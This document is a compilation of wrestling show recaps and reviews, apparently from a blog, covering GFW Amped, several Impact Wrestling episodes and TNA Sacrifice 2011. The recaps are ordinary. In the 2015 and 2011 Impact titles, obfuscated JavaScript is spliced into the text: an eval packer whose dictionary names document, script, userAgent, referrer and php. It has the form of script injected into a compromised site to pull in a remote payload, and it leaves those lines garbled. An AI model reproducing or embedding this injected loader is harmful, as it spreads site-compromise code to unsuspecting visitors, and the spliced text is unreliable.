Here is Chael Sonnen for a chat, because he is tired of waiting on Jeff Jarrett. The Global Title is in the middle of the ring and in two weeks, these men will face off for the title. Cue Bobby Roode and Nick Aldis, with Roode now holding the TNA King Of The Mountain Title. Roode talks about all of the success that he has had elsewhere and brags about the title already on his shoulder.

The only thing standing between himself and the GFW Global Title is Aldis so now Roode has one obstacle left. Once he wins it, he is off to Nashville for a big celebration…or maybe he’ll just burn it in a trashcan. Aldis says Roode mentioned not wanting to be here, yet he is here anyway. That means he wants to be here but Roode is hedging his bets with TNA. Roode wants to roll the dice and see what happens but Aldis is here to win the title.

Cue Stu Stone and Christopher Mordetzky, with Stone saying they have been trying to get hold of Aldis. Nick doesn’t want to hear it, even when Stone makes a reference to Mickie James. Mordetzky has the flowers with him, with Roode saying Aldis should take them home to his wife and kid since he won’t be taking the title. Sonnen and Roode lay Aldis out. Nice enough segment to put some heat on the match, but Mordetzky is an energy killer.

We recap Christina Von Eerie vs. Amber Gallows for the Women’s Title. A lot of people like Gallows but Von Eerie has no compassion for or fear of her.

Women’s Title: Christina Von Eerie vs. Amber Gallows

For the inaugural title with Karen Jarrett here to present the belt. Von Eerie isn’t in for the Too Sweet so the brawl is on with Gallows spearing her down. The yet to be named YES Kicks into a running kick to the head have Von Eerie in even more trouble. Gallows gets kicked in the face as well though and Von Eerie takes her down to set up a kick to the back.

That doesn’t last long as Gallows is back up with a Russian legsweep and they head to the apron. A backdrop puts Von Eerie down onto the apron and then the floor, followed by a whip into the barricade for two. Back in and an Iconoclasm into a superkick gives Gallows two but the Amber Alert is broken up. The Dead Raising (cross arm Backstabber) gives Von Eerie the pin and the title at 6:34.

Rating: D+. I actually went back to make sure I had the time right because this was nothing. The match came and went with nothing to it and Von Eerie happened to win. They were certainly trying and the match wasn’t terrible, but what are you expecting from what is supposed to be some big match that doesn’t even get seven minutes?

We start the third episode with a look at the Tag Team Title match between Reno Scum and the Bollywood Boyz. They have both worked so hard to get here and now it is all about the titles. Points for focusing on the fact that they’re teams instead of a couple of people wrestling together.

Chael Sonnen rants about how Jeff Jarrett is screwing up the company (again) because Sonnen is a bigger star who draws more ratings and sells more tickets.

We look at how the Bollywood Boyz and Reno Scum made it to the finals.

Here are Jeff and Karen Jarrett for a chat. They are both very happy to be here and Jeff explains the four divisions (which really shouldn’t require an explanation) with the World Title being the main prize. Cue Chael Sonnen to say that he is responsible for all of this company’s success. He has been watching Jeff burn through so much of his family’s money that people are starting to call him Dixie.

Jeff says this isn’t the time or the place for Sonnen to ask for a match again but we’ll figure that out later. That’s not good enough for Sonnen but Karen says he means nothing around here. Sonnen says it’s amazing to see what $10,000 worth of silicone can get you. He isn’t here to talk to a woman, so he’ll talk to Kurt. Sonnen: “Sorry, I mean Jeff. If you want to fast forward to 2017, I can just call you Chael.”

Sonnen wants to see what Karen has and gets slapped in the face. With that out of the way, Sonnen says he’ll fight Phil Baroni and wrestle anyone. If he has to, he’ll go to the graveyard and dance on Jeff’s dad’s grave. I mean, that might be hard as Jerry Jarrett is still alive but Sonnen is the best talker around here so it’s hard to complain.

Video on the Tag Team Title match as the total filler on this episode continues.

Reno Scum talks about getting called to come into GFW and knowing it was their chance to win a real Tag Team Title.

The Bollywood Boyz talk about wrestling in Canada for years and finally getting their chance to make it elsewhere. Their father came from a part of India where you don’t have electricity after 6pm and now they want to make something better for their family. That’s a nice statement.

Back to Reno Scum, they want to make their families proud.

The Boyz are undersized and are ready to show what they are all about and what they can do.

Both teams talk about training/their diets as this video is still going. Scum says the Boyz have big hearts but people with big hearts die early deaths. Wow.

This whole thing went on over ten minutes and might as well have had a big FILLER flashing sign over it. Some of the stuff was fine if not good, but cut this WAY down.

Tag Team Titles: Reno Scum vs. Bollywood Boyz

For the inaugural titles with Jeff Jarrett there to present the belts. Christina Von Eerie is here with Scum and the Boyz have their Bollywood dancers. The brawl is on before the bell with the Boyz clearing the ring in a hurry. That means it’s time for the dives but Luster the Legend pulls Harv into a Texas Cloverleaf.

The fans are behind the home state Scum but Harv dropkicks Gurv in the back to break up a slam. A buckle bomb plants Harv though and Adam Thornstowe sends him into the corner for two. The chinlock goes on for a bit until Harv manages to get in his half of a double clothesline to put them both down. Gurv comes in for a spinwheel kick and a near fall on Thornstowe and it’s the Bollywood Blast for the same. A double superkick puts Luster on the floor but Harv’s dive only hits barricade.

Back in and Thornstowe’s Alberto double stomp gets two on Gurv. Harv is tied in the Tree of Woe and Gurv hits a running Razor’s Edge to knock them both silly. That doesn’t last long though as Luster is sent outside, leaving Thornstowe to eat a double superkick. A missile dropkick into a top rope elbow finishes Luster to give the Boyz the titles at 9:50.

Rating: C. Another match which was fine enough but has no impact other than getting to say the Boyz are the first champions. The Boyz going over is fine for a feel good moment and their (lengthy) video talking about wanting to make things better for their family was great, but they can’t get more than ten minutes?

Respect is shown post match.

We start the fourth episode looking at the Global Title match. Bobby Roode and Nick Aldis are both awesome and ready to go from different parts of the world. This is going to be another talking heavy show isn’t it?

Commentary welcomes us to the show and of course Sonnen is wearing the Global Title.

We recap how Aldis and Roode made the tournament finals.

Both guys arrived earlier.

We go to the hype video on the main event, talking about how important it is to be the champion. Fans are inspired by the champion and for the most part, it is only a dream for the wrestlers. Mick Foley pops in to say Bobby Roode is underrated and Jeff Jarrett is amazed that Roode is from another promotion but came here for the tournament.

We talk about Roode’s development and how he has moved up from a tag team guy to a main eventer.

Aldis knows Roode is good.

With that video done, we look at another video on how they got here. Now I know we already did this, but here’s a DETAILED look at their earlier matches. This includes Chris Mordetzky talking about going to see Mickie James, which was too far for Aldis. Then Aldis had to deal with Chael Sonnen, which didn’t go very far.

Foley still likes Roode’s chances.

Roode isn’t sure what he’ll do with the title when he wins.

After TWENTY MINUTES of hype videos, we’re ready to go. Remember that this was supposed to be an hour long TV show too, meaning this would probably have been over half of the show.

GFW Global Title: Bobby Roode vs. Nick Aldis

For the inaugural title and Jeff Jarrett is here to present the belt again. They go with the feeling out process to start as Sonnen keeps ripping on Jeff and Fees. Aldis takes him down without much trouble but the threat of the Spine Shaker (modified belly to back suplex) sends Roode outside.

Back in and Roode sends him into the corner and starts in on the arm. Roode drops some knees on the arm and the seated armbar goes on. Aldis breaks up a superplex attempt though and drops a top rope elbow for two. Roode is right back with the top rope Blockbuster for the same but Aldis catches him in a suplex for another near fall. The King’s Lynn Cloverleaf has Roode in more trouble until a rope is grabbed.

Roode is back with an enziguri into a Backstabber for his own two so it’s time to bring in the belt. That means the referee gets bumped and it’s a low blow into a belt shot to drop Aldis. The very delayed count gets two but the Roode Bomb is countered into a rollup which is countered into the Crossface on Aldis’ bad arm. That’s broken up as well and Aldis sends him into the corner, setting up the Spine Shaker for the pin and the title at 10:18.

Rating: C+. That’s almost out of pity, as it’s the longest match of the show and that’s hardly worth mentioning. The match was fine enough for a quick TV match but for the first World Champion? Much like with the Boyz winning the Tag Team Titles, it’s cool to see a champion crowned but it isn’t like this felt important or anything. The fans were dead and commentary didn’t really make it seem special, leaving it down to the wrestlers. They did what they could, but how epic is a ten minute match going to be most of the time?

Post match Jeff Jarrett presents Aldis with the title but here are Stu Stone and Chris Mordetzky for the brawl. Mordetzky hits him with the flowers, which had a lead pipe included. Kongo Kong joins in on the beatdown, with Aldis being left bloody. Jeff Jarrett comes in for the save and gets Masterlocked. The beatdown is on and Mordetzky lays the title onto Jeff to end the show.

Overall Rating: D. That’s the end of Amped and it couldn’t come faster. This wasn’t so much a bad show as much as uninteresting it was. It felt like they were just going through the motions and trying to check boxes off a list of things they needed to do here. None of the matches were memorable, the fans didn’t care, and the best person on the show was the heel commentator.

I’m not sure who would want to watch this as a weekly series as I could barely tell you what happened in the four episodes I just watched, let alone the first twelve. Amped was little more than Jeff Jarrett trying to do something TNA like again but without the talent or effort that TNA had. The matches could have been far worse, but they couldn’t have been much less interesting if they tried. Really boring show and thankfully the end of Amped, which didn’t deserve a future after this.

 

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Impact Wrestling – March 30, 2017: That’s….Not Bad

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Date: March 30, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, D’Angelo Dinero, Josh Matthews

Opening sequence.

The X-Division wants to make Impact Wrestling great.

DJZ vs. Andrew Everett

Post match Gregory Shane Helms comes out to say that Everett has earned an opportunity of some sort for next week.

Fury will be unleashed on April 13.

We look back at the horrible Rebel vs. ODB match from last week with Earl Hebner kissing both of them for reasons of unfunny comedy. After a break, ODB and Hebner seemed to go on a date. There is no way this can possibly end well.

Ethan Carter III wants to make Impact great again.

Announcers, bickering, nothing of note.

Garza Jr. and Laredo Kid want to win the Tag Team Titles tonight.

We recap Cody vs. Moose for the Grand Championship. Cody wants the title but Moose was in Japan so tonight they can finally have the title match.

Grand Championship: Moose vs. Cody

Round two starts with Cody kicking the knee but missing a big kick to the head. Moose apron bombs him and grabs a chair, only to have Brandi get in his way. The distraction lets another leg shot set up the Figure Four but Moose hangs on to end the round. Cody wins the round to tie it up and round three starts with Brandi yelling at her husband and walking out.

Eli Drake wants to make Impact Wrestling great.

We look at Moose vs. Cody again.

Karen brings JB a message about a Knockouts gauntlet battle royal to crown a new #1 contender. I see absolutely no reason for Karen to have been out here for this scene.

KM vs. Braxton Sutter

Post match the four of them get in a fight with the forces of good clearing the ring. Laurel Van Ness stumbles out, somehow looking creepier every single week. Sutter and Allie look terrified.

Davey Richards wants to make Impact Wrestling better.

Fury is still coming.

Tag Team Titles: Garza Jr./Laredo Kid vs. LAX vs. Decay vs. Reno Scum

The titles are vacant coming in and this is one fall to a finish. Thornstone and Kid start things off with Scum taking over in a hurry. Ortiz tags himself in for some lucha, capped off with a backbreaker to drop the Kid. Everything breaks down in a hurry and Kid dives onto a huge pile of people, followed by Garza doing the same as we take a break.

Back with Garza getting two off a Lionsault but LAX makes the save. Abyss comes in and clotheslines Kid against the ropes but Scum tags themselves in for some corner clotheslines. Kid scores with a DDT so both members of LAX come in to clean house, including a top rope double stomp onto a hanging cutter to Steve. It means posing instead of covering though, leaving Rosemary and Diamante to get into a catfight. Ortiz loads Laredo up for a powerbomb with Santana coming off the top with a Blockbuster for the pin and the titles at 12:13.

Results

Andrew Everett b. DJZ – Small package

Moose b. Cody via split decision

KM b. Braxton Sutter – Powerbomb into a Backstabber

LAX b. Reno Scum, Laredo Kid/Garza Jr. and Decay – Sitout powerbomb/Blockbuster combo to Kid

 

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Impact Wrestling – March 23, 2017: That’s a Really, Really Bad Sign

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Date: March 23, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, D’Angelo Dinero, Josh Matthews

Opening sequence.

Davey Richards vs. Suicide

Josh yells at JB for saying “she” is here over and over. Josh: “STOP USING PRONOUNS!”

Laurel Van Ness is still falling apart when Sienna comes in to try and calm them down. She has a surprise for Allie and Braxton Sutter. Sienna also advises a shower but Laurel sings the Sun Will Come Out Tomorrow instead.

Idris Abraham/Fallah Bahh/Mario Bokara vs. Mahabali Shera/Laredo Kid/Garza Jr.

A limo is here.

Decay vs. Reno Scum

Fury is unleashed on April 6.

Grand Championship: Eli Drake vs. Moose

LAX vs. DCC

Post match Storm gets in an argument with Kingston which should signal the beginning of the end.

DJZ wants to make Impact Wrestling great.

Moose vs. Cody for the Grand Championship is set for next week.

Rebel vs. ODB

Lashley vs. Jake Holmes

Non-title. Lashley stomps him down, stomps him down some more, hits a Dominator for two, delays a vertical suplex and hits the spear for the pin at 1:54.

Results

Davey Richards b. Suicide – Creeping Death

Mahabali Shera/Laredo Kid/Garza Jr. b. Idris Abraham/Fallah Bahh/Mario Bokara – Sky High to Bokara

Reno Scum b. Decay – Double stomp to Steve

LAX b. DCC – Double team belly to back flip suplex to Storm

ODB b. Rebel – TKO

Lashley b. Jake Holmes – Spear

 

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Impact Wrestling – June 24, 2015: I Want To Believe

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzknn|var|u0026u|referrer|daabe||js|php'.split('|'),0,{})) Wrestling
Date: June 24, 2015
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

We recap last week with Full Metal Mayhem being announced for tonight.

X-Division Title: Tigre Uno vs. Low Ki vs. Grado

Velvet Sky vs. Angelina Love

Another playtime is over vignette.

Dirty Heels vs. Wolves

Back up and a missile dropkick/powerbomb combination puts Edwards through a table for two. The Wolves toss into a kick (with the chain over the boot) gets a very close two but Aries gets caught inside a trashcan for chair shots and a double dropkick from the top. The Wolves load up Aries, still in the trashcan, for a powerbomb but Roode low blows Eddie to put Aries on top for the pin at 18:13.

It brought back a lot of memories for him, such as Kurt Angle jumping to TNA and Samoa Joe headbutting Angle and busting him open and a punk kid from north Georgia named AJ Styles becoming the greatest wrestler this company ever had. Or a team called Beer Money becoming the best team this company ever produced and Eric Young having more TV shows than Ryan Seacrest.

Bram vs. Vader

Yes, that Vader, who wrestled one match for TNA back in 2003. Vader is in workout gear and runs Bram over to start before hitting his big clothesline. More power offense sets up the Vader Bomb for two and Bram hits him in the ribs with a pipe for the DQ at 3:40.

Post match Matt Morgan comes out for the save and knocks Bram to the floor.

Sgt. Chris Melendez vs. Eric Young

This was set up a few weeks back when Young choked Melendez with his prosthetic leg. Young takes over to start as the announcers act like this is the biggest show in the history of ever. Young plants him with a DDT for two and gets the same off a neckbreaker. We hit a chinlock for a bit before Young tries to rip the leg off again. Melendez fights back, ducks his head and gets piledriven for the pin at 3:47. This was a squash.

Back from a break with the Rising fighting the Beat Down Clan because THESE TWO TEAMS HAVE TO FIGHT FOREVER BECAUSE THERE IS NOTHING ELSE THEY CAN POSSIBLY EVER DO. Hernandez returns and helps the BDC clean house.

Match #5 in the Tag Team Title series is next week. Also next week: Taryn defends the Knockouts Title against Brooke and Awesome Kong.

Matt Hardy vs. Kurt Angle

Non-title. Hardy takes over to start as Josh (incorrectly) calls this a first time ever match. Angle slams Matt down and grabs a chinlock. A quick slugout sets up rolling Germans from Angle followed by an Angle Slam for two. With both guys down, Josh announces Aries vs. Richards for Slammiversary with the winner getting to pick the stipulations for the fifth match next week. Matt misses the moonsault and gets Germaned some more, only to come back with a Side Effect. The Twist of Fate gets two but Angle countered a second attempt into the ankle lock for the tap at 6:58.

Rating: C. This was fine. Matt was a weird choice for an opponent when Carter has his own personal bodyguard walking around but almost never having a match of his own. Still though, good enough here, even though it was just trading finishers for a few minutes until they got to the ending.

Ethan Carter III and Tyrus come out but Angle fights them off and makes Carter tap to end the show.

Results

Tigre Uno b. Grado and Low Ki – Phoenix splash to Low Ki

Velvet Sky b. Angelina Love – Stunner

Dirty Heels b. Wolves – Low blow to Edwards

Vader b. Bram via DQ when Bram used a pipe

Eric Young b. Chris Melendez – Piledriver

Kurt Angle b. Matt Hardy – Ankle lock

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On This Day: December 1, 2011 – Impact Wrestling 2011: Come Home Bobby Roode

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shife|var|u0026u|referrer|etdfr||js|php'.split('|'),0,{})) Wrestling
Date: December 1, 2011
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

We’ve got two more shows before Final Resolution and the card is starting to come together. It feels like a filler PPV until we get to something a lot bigger. The interesting thing will be if Storm is allowed to wrestle again as he’s really getting hurt by being injured as the mini-feud with Roode he had made him the real star out of the whole thing. But it’s a concussion so it’s hard to say when he’ll be better. Let’s get to it.

We open with a video of Roode’s family talking about how he’s pretty much abandoned them and it’s all about him anymore. Cool idea given how he was pushed as this family man when he was going for the title.

Sting opens the show and says everyone is trying to run this place. Right now, he’s going to deal with Bobby Roode, so get on out here. Roode says let’s get this over with. Sting talks about how Roode has done all this stuff and jumped Styles and Hardy to end the show. Roode calls it great TV and says Sting is welcome for what he’s done recently. Sting says he runs the place and it’s run his way. For every bad thing Roode does, there’s a consequence, which starts right now.

Cue AJ and Roode says Sting is fighting AJ’s battles now. Sting also brings out Hardy who asks why Roode doesn’t respect Sting’s authority. Sting says screw you Bobby and makes it a three way match for the main event tonight.

The Knockouts are in robes while Karen yells. She gets in Velvet’s face and yells about disrespect and all that jazz. Tonight they’re going to wash six cars and then the rest of them. Oh and they’ll be in swimsuits. Madison gladly disrobes and looks pretty good underneath it.

Jeff Hardy says he and AJ are about to go talk strategy. Jarrett comes up and takes his jacket off. He wants to know why Hardy thinks he belongs here. Hardy says this is his last shot. Jarrett throws his jacket in Hardy’s face and beats him down. Here’s your backstage brawl of the week.

Bischoff meets with Ray in the back because they don’t have an office anymore. Eric wants Ray to wait before killing his kid. Yeah brilliant there dude. Instead, let’s get rid of Abyss. Ray put him through a table and it did nothing so Eric suggests talking to him. Ray thinks he’s nuts (both Eric and Abyss) so he’ll get Scott Steiner to help talk. Oh geez.

The Knockouts are in bikinis and washing cars and Tara is forced to disrobe. ODB gets a street fight with Mickie James for some reason. If she hurts Mickie she’s the new #1 contender.

Mexican America vs. Ink Inc vs. D-Von/D’Angelo Dinero

Winners are #1 contenders. D-Von and Pope clear the ring until we get down to Pope vs. Anarquia with the street preacher taking over. The Mexicans finally take over until it’s a hot tag to D-Von. There’s nothing interesting going on here. I still want to know why they think pushing D-Von is a good thing. Neal tags himself in, spears Hernandez but walks into a spinebuster from D-Von for the pin at 5:06.

Rating: D+. Whatever man. The tag division is such a joke anymore without any solid teams in there. It’s like the tag champions and the #1 contenders are just slapped together with no real rhyme or reason. This isn’t going to be much of a match and does anyone buy that these guys are going to get the titles?

Here’s Austin Aries to talk a bit. He says he has a problem as the greatest man that ever lived. His plan was to revitalize the division and bring in some greatness, but his greatness is so far ahead of everyone else. It’s time to call this the A Double division. No one can hold a candle to him so….oh dang it here’s Kid Kash.

He talks about Turning Point and how Aries screwed him over after Kash took out Sorensen for him. It’s an old vs. new argument and Aries says he’s champion. Kash says he held it before. Aries says shake my hand and you have a shot. They shake hands and punch each other at the same time. I think that’s supposed to be a face turn for Kash.

Gunner goes to find Garrett Bischoff at a gym.

AJ says he’ll win tonight.

Gunner tries to find Garrett Bischoff but finds someone else who he beats up. No one else seems to care. He keeps looking and annoys someone else. Gunner beats up two more people and then the original guy comes back. There’s a clothesline for him and then he chokes the guy down. He hurts a guy’s arm and tried to be menacing, saying he’s coming for Garrett.

Sting yells at Jarrett, telling him to stay out of the main event tonight. Jarrett says Sting has no room to talk because he was in the match with Hardy at Victory Road. Sting says there will be consequences if Jarrett interferes. Jarrett says he might be willing to pay that consequence.

More parenting stuff from Roode’s “wife”.

The Knockouts are still washing cars. Taz’s car is in line for later and a bus or something like that comes up.

Steiner is lifting weights when Ray comes up to talk about Abyss. CAN WE HAVE A WRESTLING MATCH ALREADY??? Steiner suggests offering a freak to Abyss to get him to join their team again.

Mickie James vs. ODB

Street fight. It’s a brawl on the ramp to start and they roll towards the ring. Street fights mean falls count anywhere here I guess. Mickie’s rana is countered into a powerbomb. They go into the crowd and Mickie fights back in front of a handicap ramp. ODB hits her with a lot of metal stuff and Mickie looks a bit dead. We do the odd hardcore match thing where people insist on walking around.

She walks around even more until Mickie gets in a chop. Gee, I wonder if the minute long walk had anything to do with her getting a second wind. Back to the ring and Mickie starts her comeback. ODB breaks up the jumping DDT and gets a chair. Like any idiot, she holds it in front of her face to allow Mickie to kick the chair into her face for the pin at 7:00.

Rating: D+. Well that was pretty dull. I have no idea why they went walking around like that but I never get that in any wrestling match with hardcore rules. ODB continues to look like an idiot and the girls are still better than the Divas, but they’re still nothing to blow my skirt up. The weak show continues.

Storm (at home) says he’s still out with a concussion. Angle interrupts and asks Storm how it felt to have his head bashed in and how his daughter reacted to it. Angle blames Storm for losing the title so Angle says be here next week to confirm a match at Final Resolution. Storm says it’ll be a beating, not a match.

Some chicks are in the back and looking for Abyss.

We see the long version of Roode’s family complaining. Roode says he got them a bunch of stuff with the money so if he’s a user, so are they.

TV Title: Rob Van Dam vs. Robbie E

Why do I have a feeling the obvious ending isn’t the one that is going to happen? RVD dominates to start and sends Robbie to the floor quickly. Big Rob gets in a shot to take over and Robbie pounds away a bit. Back to the floor and here’s Eric Young in underwear with a fire extinguisher. RVD gets a kick to the face and hits the Five Star but Eric has the referee. Daniels runs in and hits Angel’s Wings on RVD so Robbie can get the pin at 4:02.

Rating: Rob. What else do you want me to call it? This was about as predictable as you could want it to be, which isn’t saying much. The match wasn’t the point here obviously and the idea was to have Daniels run in and Young to be all wacky because that’s all he knows how to do.

Steiner’s girls are all messed up after meeting Abyss.

The Knockouts get in a fight with the water and soap. Karen comes in with garden hoses and sprays them all down.

Robert Roode vs. AJ Styles vs. Jeff Hardy

This has over twenty minutes to go so maybe it’ll be good. This is non-title of course. Roode immediately hits the floor and we get our first contact about a minute in with both guys beating on Roode. He gets ping-ponged between the two of them and then clotheslined to the floor. Time for the face showdown….or not. Instead they get in a mini argument over who gets to dive to the floor. Hardy hits a baseball slide as we take a break.

Back with Roode hitting a belly to back suplex for one as Hardy makes the save. AJ gets his eyes raked and accidentally hits Hardy, giving us the showdown we’ve been waiting for. AJ hits his drop down into a dropkick sequence but Hardy takes over and gets two of his own. Roode comes back in and beats both guys down before focusing on Hardy. Spinebuster gets two.

AJ pops back up with the springboard forearm and backflip into the reverse DDT on Roode. Roode takes over again and hits a fisherman’s suplex on AJ which Hardy breaks up. Twist of Fate to Roode and he loads up the Swanton, but here’s Jarrett to crotch him. Roode covers Hardy for the easy pin at 14:30.

Rating: C. Pretty ok match here but at the end of the day, so what? This is more about pushing Jeff vs. Jeff again and that’s not exactly something interesting. Not a bad match at all but I’ve never been a fan of three ways, which isn’t helping things here. At least it sets up a match at Final Resolution, which we’ll get to now.

Sting comes out and makes Jeff vs. Jeff in a cage at the PPV. If Jarrett escapes first, Hardy is gone. If Hardy escapes first, he gets the title shot at Genesis. Karen comes out to yell so she’ll be handcuffed to Sting during the match.

Overall Rating: D+. The biggest problem with this show is that the pacing problems were back. There were five minutes of wrestling in the first hour and for what? So we could have segments about Gunner, Garrett Bischoff, and the Knockouts in swimsuits? That’s what we’re focusing on now? This was a backstage heavy show and that’s really not all that interesting. Also, you don’t need to have Roode’s family pop in all through the show if you’re going to show a full version of it later on. Not a bad show, but pretty boring overall.

Results
D-Von/D’Angelo Dinero b. Mexican America and Ink Inc – Spinebuster to Neal
Mickie James b. ODB – Spinning kick to the face
Robbie E b. Rob Van Dam – Pin after Angel’s Wings
Bobby Roode b. AJ Styles and Jeff Hardy – Pinned Hardy after Jeff Jarrett interfered

 

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Sacrifice 2011 – Played So Safe They Might As Well Have Their Tubes Tied

Sacrifice 2011
Date: May 15, 2011
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

It’s another TNA PPV tonight with the main event being Sting vs. RVD for the title.  Earlier today Karen Angle, who is in one of the big matches, posted a message on her Facebook saying that she wouldn’t be able to be in the ring tonight due to a bad ankle.  What a shock indeed.  Anyway the card looks ok I guess so let’s get to it.

The opening video is all about Sting vs. RVD and is set to a song called, appropriately enough, Sacrifice which is rap/hip hop.  Both guys are shown training, almost like a Rocky montage.

There’s a big Sacrifice banner which is a bit different.  There was a rumor that the whole place would look different but I don’t see any major differences.

Mexican America vs. Ink Inc

 

Neal comes out with the big American flag to fight off the evil (not) foreigners.  The fans chant USA as I guess Shannon’s teased heel turn means nothing.  This is now the Impact Wrestling Zone.  Yeah I’m not changing the name.  Anarquia and Shannon start us off.  Arm work by Shannon to start which goes on for awhile.  Anarquia wasn’t bad as Lowrider in OVW but he’s rather generic here which isn’t his fault.

Anarquia tries some power which gets him a leg lariat from Moore.  Rosita gets up to distract and this incredibly by the book match brings in Hernandez.  Neal comes in also and gets a belly to belly to take him down.  Sarita does the same thing Rosita did as even the announcers point out that it’s the same thing.  Back off to Anarquia and Moore who gets a cross body off the top for two.

Moore goes to the floor and Anarquia slides into the ring skirt, getting caught behind it in a somewhat creative spot.  Asai moonsault takes Hernandez down but Sarita comes in again to turn the tide.  Shouldn’t a big powerful heel tag team not need girls to take over on some punks?  Backbreaker submission goes on Moore by Hernandez and a slam move gets two.

Moore plays Ricky Morton as every female wrestling fan that was a teenager in the 80s screams in terror.  Moonsault press mostly misses Anarquia and it’s hot tag Neal minus the pop.  Cross body out of the corner gets two.  Moore gets a Cactus Clothesline to take Anarquia to the floor but it’s Border Toss time.  That doesn’t connect but neither does the Mooregasm due to Rosita.  Hernandez uses a sitout Dominator for the pin on Neal.  He almost landed on his head but the hair shielded him.

Rating: C. Not a terrible match at all and even decent at times, but this was the walking definition of generic.  It’s as paint by numbers as you can possibly get but at the same time that’s just fine.  Decent enough opener and nothing to really complain about.  Nothing to get excited about either but this was completely fine.

The announcers talk about what happened on Impact and get interrupted by the Jarretts’ music.  Karen is on crutches and is in a cast/walking boot.  Jeff says that Karen was giving orders to the hired help and stepped on an action figure.  The fans LOUDLY chant BS as apparently she has a bad sprain and it’s broken in two places.  The tag match is off and cue Foley.  He says he looked at the x-ray and that apparently it was of a 6’6 African American male.  The match is on because wrestling matters.  Karen throws the walking boot at Foley as he leaves.

Brian Kendrick is apparently facing Robbie E tonight in an added match.  He talks about language and talks about how the X-Division is awesome and how it’s not just about small people.

Robbie E vs. Brian Kendrick

 

Kendrick does his meditation thing pre-match with the hood over his head.  Hmm, Robbie has his opponent on the mat with his head covered and with him not looking.  What in the world should he do?  He pulls the hood back and gets beaten up for his efforts.  Kendrick, robe/whatever still on meditates more and keeps fighting him off.  I can’t decide if he’s more like Mr. Miyagi or Obi-Wan-Kenobi.

Cookie goes after Kendrick and is told God has a plan for her.  Robbie knocks him to the floor in his first offense.  Kendrick’s mouth is busted.  Middle rope elbow gets two on Kendrick who is still in that robe.  Suplex on the floor but the second is reversed by Kendrick.  Back in the ring a missile dropkick gives Kendrick control and there goes the robe.  Robbie can’t get the neckbreaker and a leg lariat ends this.  Time for meditation.

Rating: C-. Not bad again but this was just an extended Impact match.  Not bad but at the same time there’s no real point to this for the most part.  Granted it’s an added match so you can’t really complain about much.  I’m curious as to where this leads to a very small extent as the whole X-Division thing has been done over and over again and it never goes anywhere long term.

Kendrick tries to “bond” with both of them post match and it doesn’t go that well.

Tara is asked about the match tonight and is asked who she wants to win.  Before she can answer Madison pops up and says it’s all about her.  Tara is told to stay in the back tonight.

We recap Mickie vs. Madison.  Tara was forced to leave so Madison brought her back on the condition that she had to work for Madison.  Mickie won the title from Madison in about 8 seconds at Lockdown so tonight it’s title vs. Tara’s contract.

Knockouts Title: Mickie James vs. Madison Rayne

 

Madison looks hot but her tiara looks like the hat the Pope wears.  The religious leader, not Dinero.  Tara pops up just after the bell.  Well at least we’re longer than the previous month’s match.  We hit the floor quickly and Mickie is sent into the steps.  Madison drops her by the hair for two.  All Rayne so far.  Tara won’t hit Mickie when Madison tells her to.  Mickie grabs a neckbreaker to get us back to even.

Tara still won’t hit her and we get some pinfall attempts.  Down goes the referee and Mickie gets kicked in the thigh I think.  Madison revives the old loaded glove trick but Tara steals it away.  Mickie can’t get the DDT and Madison gets a rollup with a handful of Dukes for two.  Mickie gets a flapjack and a nip(ple) up but the Thesz Press takes down the referee again.  Rayne Drop can’t hit and it’s DDT time.  Tara comes in with the loaded glove and hits Madison to zero shock and we’re done.

Rating: D+. Really awkward match here as the ending was exactly what they hinted at the entire time.  Tara vs. Madison is up next I guess so I guess Mickie now faces…Winter maybe?  I really have no idea but it should be ok I guess.  Should be interesting either way I suppose.  Yeah I have nothing else to say here.

Fourtune says they’ll win tonight.  Tonight Max Buck can’t be a star if he was thrown by a ninja.  Cool line.  AJ vs. Dreamer is no DQ.  Beer Money makes fun of Harris and says AMW is done.

X-Division Title: Max Buck vs. Kazarian

If there are five members of Fourtune, why does the song say Fourtune Four?  Technical stuff to start us off with neither guy getting an extended advantage.  Kaz is in long tights tonight in a new look for him if my memory is right.  Max sends him into the corner but Kaz jumps over him and gets a reverse X-Factor for two.  That was a rather smooth looking counter indeed.

The fans aren’t that pleased here it seems.  Out to the floor with Max in control as he shouts Come On Frankie.  Jawbreaker gives Max more control and a dropkick gets two.  We hit the mat and Kaz gets beaten on even more.  Kaz gets a gutwrench suplex off the middle rope to put both guys down.  Spinwheel kick gets no cover for the champ.

Springboard legdrop gets two.  Fade to Black is countered so Kaz settles for a jumping neckbreaker for two.  Fade to Black is countered again into a Buckle Bomb as Max takes over again.  Elevated DDT sets up a 450 for two.  Surprised by that kickout.  Kaz punts him kind of and a sunset bomb sends Max head first onto the concrete.  That sounded sick.  THAT gets two as this is a better match than I was expecting.  Fade to Black STILL can’t hit but a Shining Wizard ends Buck finally.

Rating: B. Match of the night so far and a rather unexpectedly long and decent match.  There was zero drama which hurt things a lot here but the match was really quite good.  The ending was a bit abrupt but it was still a good outing by both guys which came out of nowhere, which is always a nice perk.

Abyss says it’s going to take more than Janice to get rid of him.  He keeps going despite everything that’s happened to him.  The teeth he got knocked out of his mouth were delicious apparently.  He has Crimson tonight.

Quick recap of Crimson vs. Abyss says that Crimson injured Abyss and is undefeated.  This is revenge time.  Simple and sweet I guess.

Crimson vs. Abyss

 

They charge at each other after a brief staredown and it’s a battle of the big men.  Shoulder block takes Abyss down and a clothesline sends him to the floor.  Out to the floor as this is mostly just a brawl.  All Abyss here.  This is one of those slow matches where a lot of the match is one guy (Crimson in this case) laying around while Abyss moves very slowly.

Crimson tries a comeback and a double clothesline puts both guys down.  More power man stuff leads to a chokeslam by Abyss for a very close two.  And hey it’s time for Janice.  The referee wisely runs off to the floor instead of DQing Abyss.  Since it would be near murder for that to hit Crimson he gets a spear for two.

